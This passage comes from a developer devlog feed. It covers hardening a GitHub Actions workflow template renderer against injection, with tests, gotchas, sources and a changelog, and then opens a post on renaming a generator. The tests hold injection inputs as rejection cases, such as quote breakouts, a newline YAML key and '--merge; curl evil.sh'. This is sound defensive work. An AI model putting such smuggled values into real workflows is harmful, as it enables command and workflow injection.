&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; out;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Three properties matter more than the regexes.&lt;/p&gt;
&lt;p&gt;It throws instead of sanitizing. A rejected branch name is a config error the maintainer should see and fix, and silently rewriting someone’s branch name into something that renders safely produces a workflow that guards the wrong branch.&lt;/p&gt;
&lt;p&gt;A token with no declared validator is treated as unsafe. Add a token to the template, forget the validator, and the render fails rather than passing the value through unchecked. Fail-closed on your own future edits is the part that survives contact with a growing template set.&lt;/p&gt;
&lt;p&gt;It collects all failures before throwing. Reporting one bad value per run turns a four-field config into four round trips.&lt;/p&gt;
&lt;h2&gt;Prove it from both sides&lt;/h2&gt;
&lt;p&gt;A validation test that only checks good input passes will keep passing after someone weakens the checker. Every rejection needs its own case, using the payload that actually worked against the naive version:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { test } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:test&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; assert &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:assert/strict&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { readFileSync } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:fs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { parse } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;yaml&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { render } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;./render.mjs&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; template &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; URL&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;promote.yml.tmpl&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; GOOD &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  DEV_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;dev&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MAIN_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;main&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MERGE_CREDENTIAL: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;PROMOTE_PAT&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  MERGE_FLAG: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--merge&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a legal config renders parseable YAML with the guard intact&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; doc &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;render&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, GOOD));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;equal&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    doc.jobs.automerge.if,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;github.event.pull_request.head.ref == &apos;dev&apos;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;deepEqual&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(doc.permissions, {});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// Two-sided: the same inputs that broke the naive renderer must now throw.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [label, bad] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;quote breaks out of the if: condition&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { DEV_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dev&apos; || &apos;x&apos;==&apos;x&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;newline injects a new YAML key&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { DEV_BRANCH: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;dev&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;on: push&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;secret name with an expression in it&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { MERGE_CREDENTIAL: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;A }} ${{ secrets.B&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;merge flag outside the enum&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, { MERGE_FLAG: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--merge; curl evil.sh&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`rejects: ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;throws&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GOOD, &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;bad }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      /unsafe value/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;test&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;a present-but-undefined value is missing, not the string &quot;undefined&quot;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  assert.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;throws&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    () &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; render&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(template, { &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;GOOD, MAIN_BRANCH: undefined }),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    /missing value for MAIN_BRANCH/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;node --test&lt;/code&gt; gives you this, with the trailing counter lines trimmed and your durations differing:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a legal config renders parseable YAML with the guard intact (3.94075ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ rejects: quote breaks out of the if: condition (0.166417ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ rejects: newline injects a new YAML key (0.039583ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ rejects: secret name with an expression in it (0.034416ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ rejects: merge flag outside the enum (0.034459ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;✔ a present-but-undefined value is missing, not the string &quot;undefined&quot; (0.044625ms)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ tests 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ pass 6&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;ℹ fail 0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The first test asserts on the parsed &lt;code&gt;if:&lt;/code&gt; string, not on a substring of the rendered file. A &lt;code&gt;.includes(&apos;dev&apos;)&lt;/code&gt; assertion passes against the injected version too.&lt;/p&gt;
&lt;p&gt;While you are in the templates, set &lt;code&gt;permissions: {}&lt;/code&gt; at the workflow level and grant per job, which is what the first test checks. &lt;a href=&quot;https://docs.zizmor.sh/audits/&quot;&gt;zizmor&lt;/a&gt; flags the workflow-level grant as &lt;code&gt;excessive-permissions&lt;/code&gt;, and its reasoning is the part worth internalizing: permissions “should be declared as minimally as possible, and as close to their usage site as possible,” because a workflow-level grant silently extends to jobs added later that nobody reviewed for it.&lt;/p&gt;
&lt;h2&gt;Gotchas&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;A present-but-&lt;code&gt;undefined&lt;/code&gt; param renders the literal string &lt;code&gt;undefined&lt;/code&gt;.&lt;/strong&gt; Testing presence with &lt;code&gt;key in params&lt;/code&gt; returns true for a key explicitly set to &lt;code&gt;undefined&lt;/code&gt;, so &lt;code&gt;String(undefined)&lt;/code&gt; flows through as a real value and passes every safety regex, since &lt;code&gt;&amp;quot;undefined&amp;quot;&lt;/code&gt; contains no quotes or newlines. The symptom is the worst kind: a workflow that is valid YAML, installs cleanly, and can never fire. In this arc it rendered &lt;code&gt;name: auto-merge dev into undefined&lt;/code&gt; and &lt;code&gt;branches: [undefined]&lt;/code&gt;, with no error at apply time. Escape: treat &lt;code&gt;undefined&lt;/code&gt; and &lt;code&gt;null&lt;/code&gt; as missing, not as values, and assert on a parsed field rather than on the file’s text. This one was caught by a baseline eval on its first run, not by review.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your fix only ships if the fix is what runs.&lt;/strong&gt; A bare &lt;code&gt;npx &amp;lt;your-tool&amp;gt; &amp;lt;command&amp;gt;&lt;/code&gt; can resolve a stale global install already on &lt;code&gt;PATH&lt;/code&gt; instead of fetching the current version from the registry, with no warning that it happened. During the dogfood run right after the Critical fix released, a bare invocation silently ran a months-old global copy that predated every security fix in the series. The symptom is a tool that reports success while running pre-patch behavior. Escape: pin &lt;code&gt;@latest&lt;/code&gt; on every invocation in your docs and your skill instructions, and add a test that greps your own documentation for unpinned invocations.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A guard that lives in the caller is not a guard.&lt;/strong&gt; Later in this arc, CodeQL flagged a changelog helper that built a &lt;code&gt;RegExp&lt;/code&gt; from a version string and escaped only the dots, leaving &lt;code&gt;\&lt;/code&gt;, &lt;code&gt;*&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt;, &lt;code&gt;(&lt;/code&gt; and &lt;code&gt;[&lt;/code&gt; live. It was not reachable through the CLI, because the calling command rejects a non-semver version first. It was still wrong, because the function is exported and independently callable. The CodeQL guidance for &lt;a href=&quot;https://codeql.github.com/codeql-query-help/javascript/js-incomplete-sanitization/&quot;&gt;&lt;code&gt;js/incomplete-sanitization&lt;/code&gt;&lt;/a&gt; is to prefer a well-tested library, or better, “design the application so that sanitization is not needed.” Here that meant dropping the regex entirely for plain string operations, which also made the check identical to the &lt;code&gt;awk&lt;/code&gt; that reads the same file at release time. Escape: when a validated value crosses a module boundary, revalidate at the boundary or remove the need to.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Least privilege can break the error path you never exercise.&lt;/strong&gt; Scoping permissions per job surfaced two merge-back workflows granted only &lt;code&gt;contents: write&lt;/code&gt;, whose failure handler calls &lt;code&gt;gh pr create&lt;/code&gt; and needs &lt;code&gt;pull-requests: write&lt;/code&gt;. That step runs only after a merge conflict, so under a defaulted token it would have failed exactly when it was the last thing left to surface the problem. Escape: when you tighten permissions, enumerate the steps in failure branches, not just the happy path.&lt;/p&gt;
&lt;h2&gt;Sources&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/security-for-github-actions/security-guides/security-hardening-for-github-actions&quot;&gt;Security hardening for GitHub Actions&lt;/a&gt; — write access implies read access to all repository secrets, and the least-privilege guidance for workflow credentials&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/1336.html&quot;&gt;CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine&lt;/a&gt; — the vulnerability class this renderer falls into&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.github.com/en/actions/reference/security/secrets&quot;&gt;Secrets reference, GitHub Docs&lt;/a&gt; — the exact secret-name charset the &lt;code&gt;MERGE_CREDENTIAL&lt;/code&gt; validator encodes&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.zizmor.sh/audits/&quot;&gt;zizmor audits: &lt;code&gt;excessive-permissions&lt;/code&gt;&lt;/a&gt; — why permissions belong on the job, not the workflow&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://codeql.github.com/codeql-query-help/javascript/js-incomplete-sanitization/&quot;&gt;CodeQL &lt;code&gt;js/incomplete-sanitization&lt;/code&gt;&lt;/a&gt; — partial escaping, and the case for designing sanitization out&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Changelog&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;feat(release): “release devlog” means a tag, and it has to prove it (#158) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/3cbe62294f3ad589b31b47b67f3c2d575b974e51&quot;&gt;3cbe622&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): least-privilege permissions in every rendered workflow (0.3.3) (#150) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/6d635eb9ed55e307e065c751099783a9296cf721&quot;&gt;6d635eb&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;chore(shipflow): release 0.3.0 (#99) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/aa6049ec62a458f524346f6a9afd555deeaa8fc2&quot;&gt;aa6049e&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;shipflow: multi-pattern workflow templates (dev-main-promotion, github-flow, gitflow) (#74) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/1e1c8485c5bc84e6665a21b92638ceab9438a79e&quot;&gt;1e1c848&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;docs: professional README pass — dynamic version badges, clean repo layout (#69) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/e102ac5cdda6995406d53c8dbb13fbb6d75bb039&quot;&gt;e102ac5&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): pin @latest on every npx invocation; docs pass (0.2.6) (#67) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/91ce7904f07b72bc3a32d6fda66c0624a1d372a1&quot;&gt;91ce790&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): mandatory TOCTOU guard, forced-override auditability, subprocess timeouts, YAML-validity CI check (0.2.5) (#63) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/b696088ccf07897da74fa89e42a81f1956239817&quot;&gt;b696088&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): REST-path encoding, resolveOwnerRepo hardening, file-size cap (0.2.4) (#61) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/e517c81451e2ea07e60bd9baf99ec773b6af4322&quot;&gt;e517c81&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): Critical — unescaped template substitution allowed workflow injection (0.2.3) (#59) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/e9da5e09a9fc1511b4c7ea01522d5ed6ff22b34e&quot;&gt;e9da5e0&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): label-release-pending never fires under GITHUB_TOKEN-attributed auto-merge (0.2.2) (#57) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/7eb902f35facbd51ef9d47273e43f106dd1e0d7f&quot;&gt;7eb902f&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): rendered auto-merge workflow was missing --repo on both gh calls (0.2.1) (#54) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/494e11fddfa639b9a7d2fe8f3965e955d983581c&quot;&gt;494e11f&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): filter requiredChecks candidates to PR-triggered jobs, add agent-driven CI scaffolding (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/c80c48e3ad89127ebe348bb0e5f68d52c588e8dd&quot;&gt;c80c48e&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;fix(shipflow): first-run interview UX, default-branch mismatch handling, honest ruleset-error classification (0.2.0) (#50) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/d348afb6cb76e8defb28f04974d3db48cac8fad8&quot;&gt;d348afb&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;feat(shipflow): Phase A — manual-gate branch/release workflow skill (#49) (&lt;a href=&quot;https://github.com/natejswenson/claude-skills/commit/eea8f311aad2bc43072a396ad4372272e866c016&quot;&gt;eea8f31&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><enclosure url="https://natejswenson.com/devlog/shipflow/v0.4.0.png" length="32140" type="image/png"/></item><item><title>Every file it had already generated still carried the old name</title><link>https://natejswenson.com/devlog/ghfactory/v0.2.0/</link><guid isPermaLink="true">https://natejswenson.com/devlog/ghfactory/v0.2.0/</guid><description>Rename a generator and every artifact it ever emitted keeps signing itself with the old identity, in repositories you do not control. Putting a version and a content hash in the marker is what turns that from silent rot into a list you can hand someone.</description><pubDate>Sat, 01 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Shipped&lt;/h2&gt;
&lt;p&gt;This release renames the skill from &lt;code&gt;forge&lt;/code&gt; to &lt;code&gt;ghfactory&lt;/code&gt; and regenerates the workflow mastheads it had already spliced into this repository. Renaming the directory, the plugin id, the command and the package was the easy half.&lt;/p&gt;
&lt;p&gt;The other half is that this tool writes blocks into other people’s files, and every block says who wrote it. A generator that signs its output has a migration problem the day its name changes, and the files needing migration are not in its repository.&lt;/p&gt;
&lt;h2&gt;What a rename does to output you already shipped&lt;/h2&gt;
&lt;p&gt;A generated block in a hand-written file is a small contract. Go’s toolchain states it as a comment matching &lt;code&gt;^// Code generated .* DO NOT EDIT\.?$&lt;/code&gt;, which must appear “before the first non-comment, non-blank text in the file” and exists &lt;a href=&quot;https://pkg.go.dev/cmd/go&quot;&gt;“to convey to humans and machine tools that code is generated”&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;That marker answers one question: is this generated. It does not answer the two questions a rename creates.&lt;/p&gt;
&lt;p&gt;The first is &lt;strong&gt;whose&lt;/strong&gt;. Once the generator is called something else, a block saying &lt;code&gt;GENERATED by forge&lt;/code&gt; is orphaned. Nothing will claim it, and the next person to read that file goes looking for a tool that no longer exists.&lt;/p&gt;
&lt;p&gt;The second is &lt;strong&gt;has anyone touched it&lt;/strong&gt;. This is the one that decides whether you can fix the first automatically. If the body of a block differs from what your generator would emit today, there are two possible reasons and they demand opposite responses: the generator changed, so overwrite; or a human edited inside the region, so stop and ask. A plain diff cannot tell them apart, and guessing wrong either clobbers someone’s work or leaves a stale block forever.&lt;/p&gt;
&lt;h2&gt;Put three facts in the marker&lt;/h2&gt;
